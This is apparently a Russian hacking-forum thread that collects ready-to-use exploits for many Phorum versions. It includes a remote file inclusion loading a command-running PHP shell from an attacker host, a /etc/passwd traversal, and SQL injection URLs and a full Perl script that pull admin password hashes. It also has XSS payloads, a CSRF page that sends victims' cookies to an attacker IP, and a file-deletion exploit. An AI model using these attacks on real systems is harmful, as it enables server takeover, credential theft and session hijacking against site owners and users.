Привет ....Публикую Обзорчик .....Просто хочю что-бы в этом раздели были все форумы....Постеппенно зделаем... Phorum 3.3.2a Обзор:Недостаток защиты в программе позволяет удаленным пользователям включать внешние php сценарии и выполнять произвольный код и команды Пример:Создаем файл replace.php на сайте evilhost PHP: <? system("$cmd"); ?> Code: http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls PHORUM 3.2.11 Обзор:$f - идентификатор форума, переменная устанавливается в строке запроса. $admindir/forums/$num.php - это как раз ссылка на файл конфигурации для каждого форума; в этом файле и устанавливается переменная $ForumTableName. Так что, если просто указать ForumTableName в запросе, ее значение будет изменено. А что произойдет, если файла $admindir/forums/$num.php нет ? Будет выдан заголовок "lоcation: ...", и ... выполнение скрипта продолжится! А $ForumTableName сохранит свое значение, заданое в строке запроса. Пример: Code: http://somesite.ru/phorum/download.php?f=999&ForumTableName=etc&file=passwd Phorum 3.4.7 Описание:SQL инъекция обнаружена в 'include/userlogin.php' сценарии в 'phorum_uriauth' переменной Пример: Code: http://localhost/phorum347/list.php?f=1&phoru m_uriauth=waraxe%2527%20AND%20mid(password,2,1)=3/*:foobar Эксплоит: PHP: ################################################################################### # Sql injection exploit for Phorum 3.4.7 # # # # For details look at http://www.waraxe.us/index.php?modname=sa&id=19 # # # # # #################################################################################### $remote = 'localhost'; # hostname of the target $port = 80; # port number, usually 80 $url = '/phorum347'; # path to Phorum, without ending "/" $username = 'test'; # username, who's info we will pull out #----------------------------------------------------------------------------------- use IO::Socket; @chars = ('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); $data = ''; $md5hash = ''; $url .= '/list.php?f=1'; for($nr=1;$nr<33;$nr++) { for($cnt=0;$cnt<16;$cnt++) { $charx = @chars[$cnt]; $uriauth = "$username%2527%20AND%20MID(password," . $nr . ',1)=%2527' . $charx .'%2527/*'; $cookie = "phorum_uriauth=$uriauth"; $data = MakeGetRequest($remote, $url ,$cookie); $match = isMatch($data); $logline = "pos --> " . $nr . " ,char for test --> " . $charx . " --> " . $match; print $logline . "\n"; if($match == 1) { $md5hash .= @chars[$cnt]; $logline = "current md5hash --> " . $md5hash; print $logline . "\n"; break; } } } $logline = "Final md5hash --> " . $md5hash; print $logline . "\n"; exit(); sub MakeGetRequest() { $socket = IO::Socket::INET->new(PeerAddr => $remote, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die "Couldnt connect to $remote:$port : $@\n"; $str = "GET " . $url . " HTTP/1.0\r\n"; print $socket $str; print $socket "Cookie: $cookie\r\n"; print $socket "Host: $remote\r\n\r\n"; $buff = ""; while ($answer = <$socket>) { $buff .= $answer; } close($socket); return $buff; } sub isMatch($data) { $idx1 = index($data,"<a href=\"login.php?logout=1"); if($idx1 > -1) { $bingo = 1; } else { $bingo = 0; } return $bingo; } Phorum 4.3.7 Описание:Уязвимость обнаружена в Phorum. Удаленный пользователь может получить доступ к сессии других пользователей. Пример: Code: http://site.com/phorum/profile.php?f=1&id=2&phorum_uriauth=testuser%3Aeb5cd67f6daf1f35d45a24a36355f4b1 m-phorum 0.2 Описание: 1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" в сценарии "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. 2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" сценария "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример: Code: http://victim/path/index.php?go="><script>alert(document.cookie)</script> Code: http://victim/path/index.php?go="><script>alert(/Codexploder'tq/)</script> Code: http://victim/path/index.php?go="><script>alert(document.domain)</script> Phorum 5.x Описание:Приложение некорректно фильтрует входные данные перед выполнением SQL запроса. Как следствие, удаленный атакующий может выполнить произвольный SQL код на уязвимой системе. Пример: Code: http://site.com/phorum//read.php?1,[SQL CODE HERE],newer Phorum 5.0.х - 5.0.12 Обзор:переменна "$message_id" не фильтруется. Пример: Code: http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1 Phorum 5.0.12 Описание:Уязвимость существует из-за некорректной фильтрации данных в параметре forum_id файла 'follow.php'. Удаленный атакующий может с помощью специально сформированного URL выполнить произвольный SQL код на целевом сервере. Пример: Code: http://[target]/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2 c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%21%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorumusers%20WHERE%20admin=1 Phorum 5.0.14a Пример:Удаленный пользователь может выполнить атаки типа "HTTP Response Splitting". Code: http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30 Phorum 5.0.0 – 5.0.20 Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре “forum_ids[]” сценария “search.php”. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример: Code: http://localhost/phorum520/search.php?1,search=a,page=1,match_type=ALL,match_dates=30,match_forum=ALL,body=1,author=1,subject=1,&forum_ids[]=-99)/**/UNION/**/ALL/**/SELECT/**/1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,21,32/**/FROM/**/phorum_users/**/WHERE/**/admin=1/**/LIMIT/**/1/* Phorum 5.1.14 Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре "template". Удаленный пользователь может с помощью специально сформированного URL просмотреть произвольные файлы на системе. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена, опция "magic_quotes_gpc" – отключена. Пример: Code: http://[host]/pm.php?1,page=1&template=[file]%00 Спасибо за внимание.
*************Внимание - Внимание***************** Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение. *************Внимание - Внимание***************** *************Attention - Attention***************** Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning *************Attention - Attention*****************
Phorum 5.1.20 Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения. 1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "recipients" сценария pm.php. Удаленный авторизованный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. 2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "group_id" сценария admin.php при редактировании групп и в параметре "smiley_id" в сценарии admin.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. 3. Уязвимость существует из-за недостаточной проверки входных данных в параметре "$_POST[user_ids]" в массиве "$userdata" в сценарии include/controlcenter/users.php. Удаленный пользователь может с помощью специально сформированного POST запроса получить административные привилегии в приложении. Для успешной эксплуатации уязвимости опция "register_globals" должна быть включена в конфигурационном файле PHP. 4. Уязвимость существует из-за того, что приложение позволяет администратору произвести некоторые действия через HTTP запрос без дополнительной проверки подлинности пользователя. Злоумышленник может обманом заставить администратора приложения нажать на специально сформированную ссылку и изменить некоторые настройки.
Phorum 5.1.13 Описание:Уязвимость позволяет удаленному пользователю произвести XSS нападение. Уязвимость существует из-за недостаточной обработки входных данных в URL. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример: Code: http://[host]/read.php?1,1[code] Phorum 5.0.7.beta Описание: Уязвимость в поисковом движке Phorum позволяет удаленному пользователю выполнить XSS нападение. Code: http://phorum.org/phorum5/search.php?12,search=vamp,page=1,match_type=ALL, match_dates=00,match_forum=ALL ,body=,author=,subject= [ Evil Code Here ] Phorum 5.0.3 Beta Описание: Несколько уязвимостей обнаружено в Phorum в 'register.php', 'login.php', и 'profile.php' сценариях. Удаленный пользователь может выполнить XSS нападение. Code: login.php?HTTP_REFERER=[XSS] register.php?&HTTP_REFERER=[XSS] profil e.php?id=2&action=edit&target=[XSS]
активная xss Phorum version 5.1.22 (последняя на данный момент) Активнаяя Xss в профиле жмём Edit Signature там пишем: "><script>alert(99)</script> (ну или ваш xss скрипт) теперь когда вы будете просматривать своё профиль у вас будет вылетать алерт...
Небольшая бага Code: http://site/phorum/register.php Здесь для защиты от спама стоит капча. туда можно ввести тока 5 символов (в зависимости от длины капчи). вводим туда такой текст: Code: ">lol Далее жмём на ОК. там около поля появляется такое: Code: lol" size="6" maxlength="5" /> теперь максимальная длина неограничена и можно туда ввести всё что угодно.например Code: "><script>alert()<script> Эту же уязвимость можно также провернуть в Code: /phorum/posting.php?1
XSS (все версии) Code: } elseif(isset($_POST["panel"])){ $panel = $_POST["panel"]; Видно, что фильтрации на символы нету,и что можно использовать <, >, запятую, которые могут быть преобразованы в HTML. Можно воспользоватся этим: Code: <form method="post" action="http://web/path/control.php"> <input type="text" name="panel" value="Тут XSS" /> <input type="submit" value=" Submit "/> </form> Отправляем нечто вроде: "><h1>проверка" и видим что переменная $panel инфицировалась. Code: $PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n"; CSRF Уязвимость Создаем файл, в котором будет : Index.html Code: <object width="425" height="344"> <param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1"> </param> <param name="allowFullScreen" value="true"> </param> <param name="allowscriptaccess" value="always"> </param> <embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"> </embed> </object> <br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br> <br><br> <iframe src="test.html" width="1" height="1" frameborder="0"></iframe> test.html Code: <form method="post" action="http://forum.ru/control.php"> <input type="hidden" value='"> <script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script> <br x="' name="panel"/> <input type="submit" value=" Submit "/> </form> <script>document.getElementsByTagName("form")[0].submit();</script>
Phorum 5.2.15a File Disclosure + File Deletion Vulnerability Phorum version 5.2.15a File Disclosure + File Deletion Vuln file: /mods/spamhurdles/captcha/spoken_captcha.php PHP: /*...*/ global $PHORUM; $conf = $PHORUM["mod_spamhurdles"]; if ($conf["spoken_captcha"] && file_exists($conf["flite_location"]) && isset($PHORUM["SPAMHURDLES"]["captcha"]["spoken_text"])) { /*...*/ $tmpfile = "{$PHORUM["cache"]}/spokencaptcha_{$key}.wav"; /*...*/ if (file_exists($tmpfile) and filesize($tmpfile) > 0) { header("Content-Type: audio/x-wav"); header("Content-Disposition: attachment; filename=captchacode.wav"); header("Content-Length: " . filesize($tmpfile)); readfile($tmpfile); unlink($tmpfile); exit(0); /*...*/ Need: magic_quotes = Off && register_globals = On Exploit: Code: POST http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/mods/spamhurdles/captcha/spoken_captcha.php HTTP/1.0 Content-type: application/x-www-form-urlencoded PHORUM[mod_spamhurdles][spoken_captcha]=1&PHORUM[mod_spamhurdles][flite_location]=spoken_captcha.php&PHORUM[SPAMHURDLES][captcha][spoken_text]=1&PHORUM[cache]=[COLOR=White]../../../scripts/.htaccess%00[/COLOR]